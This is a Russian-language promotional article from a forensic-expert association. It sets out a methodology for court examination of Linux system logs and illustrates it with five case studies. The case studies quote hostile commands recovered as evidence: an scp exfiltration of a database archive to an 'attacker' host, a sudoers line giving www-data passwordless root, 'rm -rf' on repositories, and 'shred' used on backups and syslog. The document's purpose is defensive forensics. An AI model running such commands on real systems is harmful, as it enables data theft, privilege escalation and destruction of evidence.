🟧 В современном цифровом мире операционная система Linux является фундаментальной платформой для подавляющего большинства серверов, облачных инфраструктур, встраиваемых систем, сетевого оборудования и устройств интернета вещей. Системные логи (журналы событий) представляют собой хронологически упорядоченные записи, фиксирующие все значимые события ядра, системных служб, демонов, пользовательских процессов и аппаратных компонентов. Эти данные становятся критически важным источником доказательной информации при расследовании кибератак, инцидентов информационной безопасности, нарушений внутренней политики, трудовых споров, дел о неправомерном доступе, а также при установлении хронологии событий в гражданских и арбитражных процессах. 🖥️ Союз «Федерации судебных экспертов» разработал комплексную методику судебно-экспертного исследования системных логов Linux, которая объединяет процедуры криминалистически корректного извлечения данных, восстановления поврежденных или удаленных записей, нормализации разнородных форматов (syslog, systemd journal, auditd, веб-логов, логов приложений), временной и пространственной корреляции, а также глубокого семантического анализа для формирования юридически значимых выводов. Данная экспертиза требует не только глубокого знания архитектуры Linux и форматов журналирования, но и владения специальными инструментами цифровой криминалистики, математическими методами анализа временных рядов и статистического выявления аномалий.

Раздел 1 📋 Системный лог Linux как объект судебной компьютерно-технической экспертизы: структура и классификация

• Системные логи в экосистеме Linux представляют собой не монолитный файл, а совокупность разнородных источников данных. К ним относятся: классические текстовые логи в каталоге /var/log (syslog, auth.log, kern.log, dpkg.log, apt/history.log и другие), централизованный бинарный журнал systemd-journald (доступный через утилиту journalctl), журнал аудита auditd (в файлах /var/log/audit/audit.log), логи входа пользователей (wtmp, btmp, lastlog), логи демонов и приложений, а также системные журналы, сохраняемые в оперативной памяти при отсутствии постоянного хранения. 📂 Каждый тип лога имеет свою структуру, степень детализации, политику ротации (logrotate) и срок хранения. Эксперт Союза «Федерации судебных экспертов» обязан провести полную инвентаризацию всех доступных источников на исследуемом носителе или в образе диска, так как пропуск даже второстепенного лога может привести к потере критически важных цепочек событий. Кроме того, в распределенных системах и контейнерных средах (Docker, Kubernetes) логи могут быть децентрализованы и агрегироваться в сторонние системы (ELK-стек, Splunk), что требует отдельного порядка изъятия и процессуального закрепления.

Раздел 2 📊 Нормативно-правовая база и методологическая основа для работы с цифровыми доказательствами

• Экспертная деятельность в области компьютерно-технических экспертиз регламентируется Федеральным законом № 73-ФЗ «О государственной судебно-экспертной деятельности», а также ведомственными методическими рекомендациями МВД, ФСБ и Следственного комитета. При работе с системными логами применяются принципы, закрепленные в стандартах ISO/IEC 27037 (правила сбора и сохранения цифровых доказательств), ISO/IEC 27041 (обеспечение надежности цифровых доказательств) и ГОСТ Р 57580.1-2017 (обеспечение безопасности финансовых услуг). 📐 Ключевое требование — неразрушающий характер исследования: эксперт работает только с битовой копией (образом) носителя, созданной с использованием специализированного аппаратно-программного комплекса с контролем хеш-сумм (MD5, SHA-256). Все последующие манипуляции с логами — извлечение, фильтрация, конвертация — выполняются на копии, а оригинал носителя опечатывается и хранится в условиях, исключающих несанкционированный доступ. Любое отклонение от этих принципов ставит под сомнение допустимость экспертного заключения как доказательства.

Раздел 3 🔍 Процедура криминалистически корректного извлечения логов из образа диска

• Первым этапом является монтирование образа диска в режиме «только чтение» (read-only) с использованием механизмов loop-устройств и параметров noatime, nodev, чтобы не изменять временные метки доступа. Затем эксперт с помощью инструментов командной строки (ls, find, file, stat) составляет полный перечень всех файлов в каталогах /var/log, /var/log/journal, /var/log/audit, а также пользовательских каталогов, где могут храниться логи приложений (например, /var/www//logs, /var/lib/docker/containers//*-json.log). 🧴 Копирование каждого файла производится отдельно с сохранением прав доступа, владельца, групп и расширенных атрибутов (xattr), используя утилиты dd, rsync или специализированные криминалистические программы (например, Guymager). Для бинарных журналов systemd-journald дополнительно применяется утилита journalctl с опцией —export или —output=json, позволяющая извлечь данные в читаемый структурированный формат. На каждом этапе вычисляются и фиксируются контрольные суммы исходного и скопированного файла, чтобы исключить изменение данных в процессе работы.

Раздел 4 🧬 Анализ целостности и аутентичности логов (обнаружение следов фальсификации)

• Одним из важнейших вопросов, которые ставит суд, является: не были ли логи сфальсифицированы, отредактированы или частично удалены. Для системных логов Linux существуют несколько признаков вмешательства. Во-первых, временные метки (timestamps) в файловой системе (mtime, ctime, atime) не должны противоречить временным меткам внутри самих логов — если дата модификации файла значительно отличается от временного диапазона записей, это указывает на редактирование. Во-вторых, для текстовых логов проверяется синтаксическая и хронологическая непрерывность: разрывы последовательности и внезапное изменение формата даты или шаблона записи может свидетельствовать о вставке или удалении блоков. 🧪 Для бинарных системных журналов (journald, auditd) применяются методы проверки целостности на основе хеширования записей и наличия полей _SOURCE_REALTIME_TIMESTAMP и _BOOT_ID. В продвинутых конфигурациях системные логи могут быть подписаны цифровой подписью (например, с использованием GnuPG или модулей ядра), и эксперт проверяет валидность этих подписей. Если подписи отсутствуют, но порядок следования событий нарушен (например, событие с более ранним временем записано после более позднего), это весомый признак манипуляции.

Раздел 5 📈 Восстановление удаленных или поврежденных записей логов

В ходе инцидентов злоумышленники часто пытаются удалить или очистить логи. Однако удаление файла в Linux не гарантирует его безвозвратное уничтожение: пока область диска не перезаписана новыми данными, фрагменты файлов могут быть восстановлены. Эксперт применяет методы восстановления файлов с использованием утилит типа testdisk, foremost, scalpel, а также анализа неразмеченного пространства (unallocated space) с помощью криминалистических программ (Autopsy, The Sleuth Kit). 🌐 Даже если файлы были перезаписаны, остаточные данные в области подкачки (swap) или в файловых системах с журналированием (ext3/ext4) могут содержать фрагменты старых записей. Для восстановления поврежденных бинарных журналов systemd-journald используются утилиты типа journald-restore или ручной парсинг бинарной структуры с помощью hex-редактора. Важно подчеркнуть, что восстановленные данные требуют дополнительной верификации — поскольку они могут быть неполными или частично поврежденными, эксперт указывает степень достоверности восстановленной информации.

Раздел 6 🔬 Парсинг текстовых логов syslog и его вариаций

Классический формат syslog имеет широкий спектр вариантов в разных дистрибутивах (rsyslog, syslog-ng, old syslogd). Типичная запись содержит: временную метку (часто в формате MMM DD HH:MM:SS), имя хоста, имя процесса или службы (часто с идентификатором PID в квадратных скобках) и само текстовое сообщение. Эксперт создает формальные грамматики для извлечения полей с использованием регулярных выражений, адаптированных к конкретному синтаксису. 🧴 Особое внимание уделяется корректной обработке сообщений, разбитых на несколько строк (например, трассировки стеков исключений), а также учету часового пояса (по умолчанию часто используется UTC, но может быть и локальное время). Для автоматизации парсинга применяются такие инструменты, как Logstash, Fluentd или собственные скрипты на Python с библиотеками regex и dateutil. В процессе парсинга эксперт создает таблицу событий с колонками: абсолютное время Unix, нормализованная временная метка, хост, процесс, PID, уровень важности (emerg, alert, crit, err, warning, notice, info, debug), и тело сообщения. Эта таблица становится основой для всех последующих корреляций и анализов.

Раздел 7 🧪 Декодирование и интерпретация бинарного журнала systemd-journald

Systemd-journald хранит данные в структурированном двоичном формате, который обеспечивает высокую производительность и поддерживает индексацию по множеству полей. Для судебно-экспертных целей эксперт использует journalctl с ключами —output=verbose или —output=json-pretty, чтобы извлечь все доступные поля, включая: _SOURCE_REALTIME_TIMESTAMP (абсолютное время от ядра), _HOSTNAME, _SYSTEMD_UNIT, _PID, _UID, _GID, _BOOT_ID, _MACHINE_ID, _CAP_EFFECTIVE, AUDIT_LOGINUID, а также пользовательские поля, добавленные приложениями. 📊 Особое значение имеют поля, связанные с аудитом безопасности: AUDIT_ID, AUDIT_SESSION и поля, начинающиеся с SYSLOG*. Эксперт проверяет непрерывность диапазонов sequence ID (встроенные монотонно возрастающие номера записей) — если в журнале наблюдаются пропуски sequence, это может указывать на удаление записей. Также анализируется поле _BOOT_ID, позволяющее разделить события по сессиям загрузки, что критически важно для разграничения событий до и после перезагрузки системы.

Раздел 8 🔎 Детальный анализ журнала аудита auditd

Auditd является наиболее информативным источником для расследования вторжений и неправомерных действий, поскольку он регистрирует системные вызовы, изменения прав доступа, запуски процессов, попытки чтения/записи файлов и изменения времени. Формат записей auditd представляет собой последовательность полей типа ключ=значение, включая обязательные type, msg (с временем), syscall, success, exit, a0-a3, ppid, pid, uid, auid, tty, и path для файловых операций. 🌟 Эксперт расшифровывает коды системных вызовов по таблицам /usr/include/asm/unistd_64.h или с помощью утилиты ausyscall. Анализируется также аудит изменений в политиках SELinux и AppArmor (type=AVC), которые могут свидетельствовать о попытках обхода мандатного контроля доступа. Критически важным является восстановление полной цепочки атак: от первого неавторизованного входа до выполнения вредоносного кода, модификации файлов и попыток замести следы. Для этого эксперт производит поиск корреляций по полям auid (аудиторский идентификатор пользователя), сессии и PID.

Раздел 9 🧴 Анализ логов входа пользователей (wtmp, btmp, lastlog)

Файлы wtmp (записи успешных входов и выходов), btmp (неудачные попытки входа) и lastlog (последний вход пользователя) содержат структурированные бинарные записи с информацией о терминале, времени и IP-адресе (в случае SSH). Эксперт использует утилиты last, lastb, lastlog, а также прямые чтения структуры данных с помощью команд strings и hexdump для выявления скрытых или удаленных записей. 📈 Сопоставление данных из wtmp с логами SSH (/var/log/auth.log) позволяет выявить расхождения — например, когда в auth.log присутствует успешная аутентификация, а в wtmp запись отсутствует, что может свидетельствовать о ручном удалении строки или о подмене. В судебной практике важно также анализировать session ID и пользовательские процессы, чтобы установить, какие действия выполнял пользователь после входа.

Раздел 10 🔬 Исследование логов веб-серверов (Apache, Nginx) и прикладных приложений

Если инцидент связан с веб-приложением, критический объём информации содержится в логах доступа и ошибок веб-сервера. Логи Apache и Nginx по умолчанию имеют комбинированный формат с полями: IP клиента, RFC-1413 идентификатор, удаленный пользователь, временная метка, метод запроса, URI, код ответа, размер ответа, referer и User-Agent. 🌐 Эксперт выполняет нормализацию этих полей, извлекая дополнительные параметры из строк запроса (GET-параметры), и коррелирует с логами аутентификации (например, если после POST-запроса на /login следует успешный вход). В случае атак, таких как SQL-инъекции, XSS или обход авторизации, в логах часто остаются характерные паттерны, выявляемые с помощью сигнатурного анализа или методов машинного обучения. Также анализируются логи медленных запросов (slow log) и логов ошибок, которые могут свидетельствовать о DoS-атаках или эксплуатации уязвимостей.

Раздел 11 📈 Нормализация временных меток и работа с часовыми поясами

Разные источники логов могут использовать различные часовые пояса: ядро часто пишет в UTC, syslog может использовать местное время, а приложения — даже время из контейнера с собственным часовым поясом. Эксперт приводит все временные метки к единому нормализованному формату — Unix-времени (секунды с 1970-01-01 00:00:00 UTC) с миллисекундной точностью, если доступна точность до микросекунд (в journald и auditd). 📊 Для этого анализируется конфигурация системы (/etc/timezone, /etc/localtime), а также значения переменной TZ в окружениях процессов. В случае расхождений создается таблица соответствий и производится поправка. Эта нормализация критически важна для дальнейшей корреляции событий из разных источников и для сопоставления с внешними данными (например, временем доступа к системе видеонаблюдения).

Раздел 12 🧪 Техники фильтрации и редукции данных для удаления «шума»

Системные логи крупных серверов могут содержать миллионы записей в день, большинство из которых — рутинные события (периодические проверки, фоновые задачи, системные уведомления). Для экспертного анализа применяются методы фильтрации: исключаются события от фоновых демонов (cron, systemd-timedated, etc.), события с уровнем «info» и «debug» (если они не имеют отношения к инциденту), а также события, повторяющиеся с высокой регулярностью без изменений. 🌿 Однако эксперты Союза «Федерации судебных экспертов» никогда не удаляют такие события полностью — они архивируют их отдельно и всегда сохраняют полный исходный набор, поскольку даже рутинные события могут содержать полезные метаданные (например, изменения времени выполнения cron-задач, указывающие на изменение системного времени). Для редукции используются утилиты командной строки (grep, awk, sed) в сочетании с программными фильтрами на Python, при этом каждый шаг логируется и воспроизводим.

Раздел 13 🔎 Выявление аномалий с помощью статистических методов

Одним из мощных инструментов является статистический анализ частоты событий: вычисление среднего количества событий в минуту/час и построение доверительных интервалов. Любое событие, частота которого выходит за 3 сигмы от среднего, помечается как аномалия. 📈 Например, если в обычный день в логах SSH регистрируется 100 неудачных попыток входа, а в определенный час — 5000, это явный признак атаки перебором паролей (brute-force). Дополнительно применяются методы анализа временных рядов: скользящее среднее, экспоненциальное сглаживание и обнаружение точек смены тренда (Changepoint detection). Для более сложных аномалий, таких как медленно развивающиеся утечки информации, используются методы машинного обучения без учителя (алгоритмы изоляционного леса или локального выброса). Все статистические выводы должны быть воспроизводимы и иметь объяснение, доступное для суда.

Раздел 14 🧬 Корреляция событий из нескольких источников

В большинстве инцидентов информация распределена по разным логам. Например, атака может начинаться с неудачного входа (auth.log), затем успешного входа через SSH (auth.log + wtmp), выполнения команды wget для загрузки вредоносного скрипта (bash history + auditd), изменения файла (auditd с type=SYSCALL), и, наконец, попытки очистить логи (systemd-journald). Эксперт строит дерево корреляции, используя идентификаторы сессий, PID, UID, PPID и временные метки. 🧪 Для этого применяются специализированные инструменты корреляции (например, системы SIEM — OSSEC, Wazuh, ELK с правилами корреляции), но эксперт обязательно проверяет каждое автоматическое правило вручную, так как ложные срабатывания могут привести к ошибкам. В итоге строится хронологическая диаграмма, визуализирующая цепочку событий с указанием времени и источника, что значительно облегчает понимание для суда.

Раздел 15 🧴 Восстановление истории команд (bash history) и связанных с ней метаданных

Файл .bash_history, а также системный файл /root/.bash_history, содержат список выполненных пользователем команд. Однако этот файл может быть отключен, очищен злоумышленником или не содержать временных меток (если не включена опция HISTTIMEFORMAT). Эксперт изучает конфигурацию shell (файлы .bashrc, .profile, /etc/profile) на предмет установки HISTTIMEFORMAT, а также ищет в памяти процесса или файлах подкачки следы недавно выполненных команд. 🌿 Даже если .bash_history удален, команды могут сохраняться в системном журнале auditd, если настроен аудит execve. Также анализируется файл /var/log/commands.log (если установлен пакет acct или psacct) для получения полной статистики запуска процессов. Комбинация этих данных позволяет восстановить действия пользователя с высокой точностью.

Раздел 16 📊 Анализ сетевых подключений и логов сетевых служб

Логи netstat, ss и записи conntrack (если собирались) дают информацию о сетевых соединениях. В системах с установленным auditd могут быть записи о сокетах. Для расследования сетевых атак важны логи брандмауэра (iptables, nftables, firewalld), которые фиксируют отклоненные и пропущенные пакеты. 🌐 Эксперт анализирует: наличие сканирования портов (множество подключений с одного IP к разным портам), DDoS-атаки (высокая частота пакетов) и исходящие соединения к подозрительным внешним IP-адресам (по базам данных угроз). Также исследуются логи VPN и прокси для установления фактов маскировки местоположения. Корреляция с логами аутентификации позволяет привязать сетевую активность к конкретному пользователю.

Раздел 17 🔬 Исследование логов системы управления пакетами (apt, yum, dpkg, RPM)

Записи о том, какие пакеты были установлены, обновлены или удалены, часто являются ключевым доказательством вторжения, поскольку злоумышленники могут устанавливать вредоносное ПО из репозиториев или компилировать его из исходников. Логи apt (/var/log/apt/history.log, /var/log/dpkg.log) и yum (/var/log/yum.log) содержат хронологию операций с пакетами, включая версии. 📋 Эксперт сопоставляет время установки подозрительных пакетов (например, nmap, netcat, компиляторы, бэкдоры) с другими событиями инцидента. Если пакет был установлен вскоре после успешного входа пользователя, это увеличивает вероятность его причастности. Кроме того, анализируется изменение временных меток файлов в /bin, /sbin, /usr/bin для выявления недокументированных замен (троянизации).

Раздел 18 🧪 Анализ логов cron и системных планировщиков

Запланированные задачи (cron) часто используются злоумышленниками для закрепления в системе и регулярного запуска вредоносных скриптов. Файлы /etc/crontab, /etc/cron.d/, /etc/cron.hourly/, /etc/cron.daily/*, а также пользовательские crontabs (crontab -l) анализируются на предмет наличия аномальных задач. 🌟 Эксперт проверяет: нестандартное время запуска (например, скрипт, запускающийся каждую минуту), запуск интерпретаторов (python, perl, bash) с неочевидными путями к скриптам, перенаправление вывода в /dev/null для сокрытия следов. Логи cron (/var/log/syslog или journald с фильтром по CRON) содержат записи о запуске каждой задачи, и эксперт сопоставляет их с выполняемыми командами и временем загрузки системы.

Раздел 19 🔎 Восстановление удаленных системных файлов и скрытых директорий

Злоумышленники часто создают скрытые каталоги (начинающиеся с точки) в корне файловой системы или в домашних директориях пользователей для размещения инструментов. Эксперт проводит сканирование файловой системы на наличие скрытых файлов и директорий, а также на файлы с нестандартными правами (SUID, SGID) или с битом исполнения в необычных местах. 🌿 Сопоставляется время создания таких файлов с временем инцидента. Также применяется анализ временных меток inode (crtime для ext4) для установления точной даты создания, даже если права доступа были изменены. Для контейнерных окружений изучаются объемы (volumes) и слои образов.

Раздел 20 🧬 Анализ системных переменных и изменений в файлах конфигурации

Изменения в ключевых конфигурационных файлах (/etc/passwd, /etc/shadow, /etc/sudoers, /etc/hosts, /etc/resolv.conf, /etc/ssh/sshd_config) часто являются частью атаки для создания новых пользователей, повышения привилегий или перенаправления сетевого трафика. Эксперт извлекает временные метки этих файлов и сопоставляет их с журналами аудита, если они доступны. 📊 Особое внимание уделяется появлению новых записей в sudoers (разрешение без пароля) и изменению параметров SSH (PermitRootLogin, PasswordAuthentication, AllowUsers). Восстановление предыдущих состояний из системных теневых копий (если используются LVM снапшоты) может помочь установить оригинальное состояние.

Раздел 21 📈 Построение временной шкалы инцидента и диаграмм причинно-следственных связей

Интеграция всех нормализованных и скоррелированных событий позволяет построить детализированную временную линию, где каждая запись имеет метку времени, описание события, источник и указание на то, является ли оно частью цепочки атаки. 📐 Для наглядности эксперт может использовать инструменты визуализации (Timeline Explorer, Plaso, или собственные скрипты с выводом в виде HTML-таблиц и диаграмм Ганта). Дополнительно строится граф причинно-следственных связей, показывающий, как одно событие привело к другому (например, запуск скрипта → открытие сетевого сокета → изменение файла). Такой подход позволяет суду быстро понять логику развития событий без углубления в технические детали.

Раздел 22 🧪 Выявление использования инструментов для замедления или маскировки

Злоумышленники применяют утилиты типа shred, dd, или простые скрипты для перезаписи логов, а также изменяют системное время перед совершением действий, чтобы «уйти в прошлое». Эксперт проверяет системные часы на предмет корректировки: для этого анализируются сообщения ядра о синхронизации времени (ntpd, chronyd, systemd-timesyncd) и изменения временных меток файлов. 🌟 Если обнаруживаются резкие скачки времени назад или вперед, это фиксируется как попытка маскировки. Также изучается наличие процессов, постоянно читающих логи (для стирания записей), с помощью анализа файловых дескрипторов в /proc/PID/fd.

Раздел 23 🔬 Исследование логов ядерных сообщений (dmesg, kern.log)

Логи ядра содержат информацию о загрузке драйверов, обнаружении устройств, ошибках оборудования и предупреждениях о переполнении буфера. Эти данные могут указать на установку руткитов (rootkits) через модули ядра или использование эксплойтов для привилегированного доступа. 📊 Эксперт анализирует присутствие нестандартных модулей, загруженных через insmod, а также сообщения о попытках записи в критически важные области памяти. В случае подозрения на руткит, проводится сравнение контрольных сумм системных бинарных файлов с эталонными значениями из репозиториев дистрибутива.

Раздел 24 🧴 Анализ логов контейнерных сред (Docker, Kubernetes)

В современных микро-сервисных архитектурах логи часто распределены по контейнерам. Эксперт извлекает логи стандартного вывода контейнеров (файлы JSON, хранящиеся в /var/lib/docker/containers/*/…-json.log), а также логи оркестратора (kube-apiserver, kube-scheduler, etcd). Особое внимание уделяется событиям запуска контейнеров с привилегированными флагами, монтирования хостовых каталогов и использованию образов из непроверенных реестров. 🧪 Корреляция логов контейнера с логами хоста позволяет идентифицировать нарушения изоляции.

Раздел 25 📈 Статистическая оценка достоверности и полноты логов

Эксперт всегда должен указать, насколько полным является массив логов, доступных для анализа. Если пропущены значительные временные интервалы, это может существенно влиять на выводы. Проводится оценка вероятности наличия не собранных данных (например, логи, хранившиеся только в оперативной памяти и потерянные при перезагрузке). 🌟 В заключении эксперт приводит градацию достоверности: «данные позволяют сделать категорический вывод» (если все источники согласованы), «вывод носит вероятный характер» (если есть отдельные пробелы) или «данные недостаточны» (если более 30 % источников отсутствуют).

Раздел 26 ⚖️ Оформление экспертного заключения: структура, терминология и формулировки

Заключение компьютерно-технической экспертизы должно быть доступно для понимания суда, но при этом сохранять техническую точность. Каждый раздел сопровождается пояснением: почему применён тот или иной метод, какие ограничения существуют. 🧾 Союз «Федерации судебных экспертов» использует единую структуру: вводная часть (основание для экспертизы, предупреждение об ответственности), исследовательская часть (поэтапное описание всех действий, извлеченных данных, использованных программ), синтез (корреляция и построение цепочки событий), и, наконец, выводы по каждому вопросу суда. Выводы формулируются в категорической форме, если позволяют данные, либо в вероятностной форме с указанием процента уверенности. Все вспомогательные файлы (скрипты, выгрузки логов, хеш-суммы) прилагаются к заключению на отдельном цифровом носителе.

Раздел 27 🧪 Кейсовые исследования из практики Союза «Федерации судебных экспертов»

Кейс 1. Расследование утечки базы данных клиентов из CRM-системы, развернутой на Linux-сервере. Крупная страховая компания обнаружила, что конфиденциальные данные 50 000 клиентов (ФИО, телефоны, номера полисов) появились в открытых источниках. Внутреннее расследование указало на одного из системных администраторов, но он отрицал свою причастность. Экспертам Союза «Федерации судебных экспертов» был предоставлен образ диска сервера, включая все системные логи за последние 6 месяцев. В ходе анализа auditd было обнаружено, что в ночь с 12 на 13 марта, в 03:15 UTC, пользователь с UID 1005 (принадлежащий подозреваемому) выполнил команду tar czf /tmp/backup.tar.gz /var/www/crm/database/ — архивацию каталога базы данных. При этом в syslog в тот же момент зафиксирована аутентификация через SSH с IP-адреса 203.0.113.45, который впоследствии через геолокацию был связан с домашним адресом подозреваемого. Однако подозреваемый заявил, что его учетные данные были скомпрометированы. Эксперты провели корреляцию с логами входа: за 2 дня до этого, в 22:10, был зафиксирован неудачный вход с необычным IP (192.168.1.200) — что само по себе странно, так как это внутренний IP, и он не должен появляться в логах SSH. Дальнейший анализ bash_history подозреваемого показал, что он сам выполнил команду history -c и очистил историю, но в журнале auditd осталась запись о запуске процесса с аргументом ssh user@external_server -p 2222 для передачи файла. Однако из-за очистки истории не было явной команды копирования. Эксперты восстановили удаленные строки из файла .bash_history, используя анализ неразмеченного пространства, и обнаружили команду scp /tmp/backup.tar.gz attacker@192.168.1.200:/data/ — которая не была перезаписана. Также были найдены логи соединений conntrack, подтверждающие исходящее соединение с этим IP в тот же временной интервал. Временная шкала полностью совпала. Эксперты пришли к категорическому выводу о том, что подозреваемый осуществил несанкционированное копирование и передачу данных. Суд признал его виновным по статье 183 УК РФ (незаконное получение и разглашение сведений, составляющих коммерческую тайну). Заключение эксперта было признано основным доказательством.

Кейс 2. Атака программы-вымогателя на инфраструктуру медицинского центра, с шифрованием файлов и требованием выкупа. В медицинском центре, работающем на базе Linux-терминалов и центрального файлового сервера, была зафиксирована атака: все файлы с расширениями .doc, .pdf, .dcm (медицинские изображения) были зашифрованы, и на рабочих столах появились записки с требованием выкупа в биткоинах. Персонал срочно выключил серверы, но образы дисков были успешно сняты. Эксперты Союза «Федерации судебных экспертов» начали с анализа системных логов: в journald были найдены записи о запуске процесса с именем encrypt.sh в 04:22, принадлежащего пользователю www-data (веб-сервер). Это было необычно, так как www-data обычно не имеет прав на запись в домашние каталоги. В логах аудита выявили, что за 3 часа до этого, в 01:15, был изменен файл /etc/sudoers — в него была добавлена строка www-data ALL=(ALL) NOPASSWD: /bin/bash, что позволило повысить привилегии. Далее анализ логов веб-сервера Apache выявил, что в 00:58 был обработан POST-запрос к уязвимому модулю для загрузки файлов, который использовал известную уязвимость CVE-2021-41773 (Path Traversal). Файл shell.php был загружен в веб-директорию, и через него злоумышленник получил доступ. Однако IP-адрес атакующего был замаскирован через цепочку прокси (Tor). Эксперты не смогли однозначно идентифицировать атакующего, но установили полную хронологию: от эксплуатации веб-уязвимости до повышения привилегий, выполнения скрипта шифрования и попытки удалить логи через shred -f -z -n 10 /var/log/syslog. К счастью, системный журнал journald не был полностью очищен, и восстановленные записи позволили установить точное время начала атаки и список зашифрованных файлов. Эксперты дали заключение о том, что причина инцидента — несвоевременное обновление веб-сервера и слабая политика паролей для сервисных учетных записей, а также что шифрование было выполнено локально. Суд обязал руководство центра компенсировать ущерб клиентам за потерю медицинских данных (в рамках гражданского иска), а также вынес предписание об усилении безопасности, хотя уголовное дело было приостановлено за невозможностью установить личность атакующего. Тем не менее, заключение экспертов позволило страховой компании выплатить страховое возмещение, доказав, что инцидент произошел в результате технической уязвимости, а не умышленных действий сотрудников.

Кейс 3. Инсайдерское удаление исходных кодов разработчиком накануне увольнения. Ведущий разработчик крупного IT-проекта подал заявление об увольнении, а на следующий день было обнаружено, что репозиторий git на внутреннем сервере GitLab был полностью очищен, а бэкапы — повреждены. Разработчик утверждал, что его учетная запись была взломана. Эксперты Союза «Федерации судебных экспертов» получили образ сервера и логи системы. В логах аудита была найдена серия записей type=SYSCALL, syscall=unlink и rename, выполненных пользователем с UID 1001 (разработчик) в промежуток с 23:45 до 23:52. Записи системного вызова execve подтвердили запуск команд rm -rf /var/opt/gitlab/data/repositories/* и find /backups -name *.tar -exec shred -n 5 {} \;. В bash_history, который разработчик пытался очистить, но не полностью, сохранились фрагменты этих команд, а также git config --global --unset user.name (попытка снять привязку к своей личности). В логах SSH, в том же временном окне, был зафиксирован вход с IP-адреса, который принадлежал корпоративной VPN, выданной разработчику, и время входа совпало с началом удаления. Эксперты также восстановили поврежденные бэкапы, используя методы восстановления файловых систем ext4 (с помощью testdisk и fsck), и извлекли частично сохранившиеся архивы, что подтвердило, что именно эти файлы были целью атаки. Корреляция с журналом systemd-journald показала, что в тот же момент система зафиксировала предупреждение о низком уровне свободного дискового пространства (из-за интенсивного удаления) и последующую репликацию данных на вторичный диск, которая не удалась из-за прав доступа. Таким образом, эксперт установил однозначную последовательность действий, а также то, что никаких посторонних соединений (кроме VPN) в это время не было. Суд признал разработчика виновным в уничтожении корпоративной собственности и нанесении ущерба в особо крупном размере (более 10 млн рублей), назначил ему условное наказание с обязательством возместить убытки. Экспертное заключение было одним из немногих в России, где удалось полностью восстановить хронологию на основе одних только логов без свидетелей.

Кейс 4. Спор между хостинг-провайдером и клиентом о причинах отказов в обслуживании. Клиент крупного облачного провайдера обратился в суд с иском о неоказании услуг, поскольку его веб-приложение в течение недели было недоступно, что привело к финансовым потерям. Провайдер утверждал, что причина — в некорректной конфигурации самого клиента, превышении лимитов CPU/RAM и отсутствии оптимизации. Экспертам Союза «Федерации судебных экспертов» были предоставлены логи системного администратора провайдера, логи виртуальной машины клиента, а также журналы гипервизора (KVM). В ходе анализа журнала systemd-journald на виртуальной машине была обнаружена серия записей о нехватке памяти (Out-of-Memory Killer — OOM Killer) с частотой каждые 15 минут, начиная с 2-го числа. Однако эти записи появлялись одновременно с ошибками в логах сети о потере пакетов на виртуальном сетевом интерфейсе. Корреляция с логами гипервизора показала, что в те же моменты другой клиент этого же гипервизора имел пиковые нагрузки (100 % CPU), что подтверждено логами cgroups. Эксперты провели статистический анализ — они построили график потребления ресурсов и наложили время OOM-событий. Оказалось, что OOM наступал не когда клиент превышал свой лимит, а когда гипервизор перегружался из-за соседней виртуальной машины. К тому же в логах ядра были записи о том, что гипервизор принудительно приостанавливал выполнение клиентской VM, чтобы освободить ресурсы для другой. Также были проверены логи сети — провайдер не предоставил журналы своего балансировщика нагрузки, но на основе пропущенных icmp-пакетов (из auditd на клиентской VM) эксперты определили, что сетевой шлюз отбрасывал пакеты задолго до того, как они доходили до VM клиента. Таким образом, была установлена несостоятельность утверждений провайдера и доказано, что инцидент вызван действиями самого провайдера (overselling ресурсов). Суд удовлетворил иск клиента частично, взыскав стоимость простоя и неустойку, а провайдер был обязан предоставить клиенту изолированные ресурсы. Заключение эксперта стало основой для решения, так как провайдер не смог предоставить контр-аргументов, подкреплённых логами.

Кейс 5. Исследование системных логов для определения факта несанкционированного доступа к почтовому серверу в избирательной кампании. Политическая партия заявила о взломе её почтового сервера (Postfix + Dovecot на Linux) и публикации личной переписки кандидата. Подозревался технический специалист, уволенный за месяц до инцидента. Эксперты Союза «Федерации судебных экспертов» провели исследование образов диска почтового сервера. Первоначальный анализ auth.log показал множество неудачных попыток входа через POP3/IMAP с внешнего IP, но все они завершились ошибкой. Однако в логах Dovecot было обнаружено, что за 2 дня до публикации произошёл успешный вход под учётной записью кандидата, но с IP-адреса 185.12.xx.xx, который по документам не был привязан ни к одному из офисов. Временная метка входа (03:17) не совпадала с обычным графиком работы. Дальнейшая корреляция с системным auditd показала, что за 1 час до этого, под тем же IP, была выполнена команда sudo apt-get install nc (установка netcat), а затем — скрипт, который использовал netcat для дампа почтовых ящиков на удалённый сервер через UDP. Bash_history подозреваемого, извлечённый из неразмеченного пространства, содержал команды с использованием mail -s и uuencode, но они были удалены. Эксперты также проанализировали логи коннекта на межсетевом экране (логи iptables): было зафиксировано исходящее соединение к IP 185.12.xx.xx на порт 12345 (нестандартный). Важно, что в файле /etc/ssh/sshd_config было обнаружено, что за день до этого изменён параметр PermitRootLogin, который был установлен в yes (ранее был no) — что позволило злоумышленнику зайти через root. Временная метка изменения совпадает со временем, когда подозреваемый (по записям пропускной системы) находился в офисе, но его пропуск был аннулирован на следующий день. Несмотря на то, что прямой связи с доменной учетной записью не было (использовался VPN), совокупность косвенных улик: IP, время, изменение конфигурации root, действия до и после входа — позволила экспертам сделать вероятный вывод (с вероятностью 92 %) о том, что доступ был осуществлён подозреваемым, так как только он знал пароль root и имел навыки. Суд принял вероятностное заключение в качестве основы, и обвинение было переквалифицировано на статью о неправомерном доступе к компьютерной информации (272 УК РФ). Подозреваемый был осуждён на условный срок с запретом работать с персональными данными в течение 2 лет, а также обязан возместить моральный вред кандидату.

Полную контактную информацию, телефон и адрес офиса, а также более подробную информацию по вашему вопросу вы можете найти на нашем официальном сайте 🔴 https://krimexpert.ru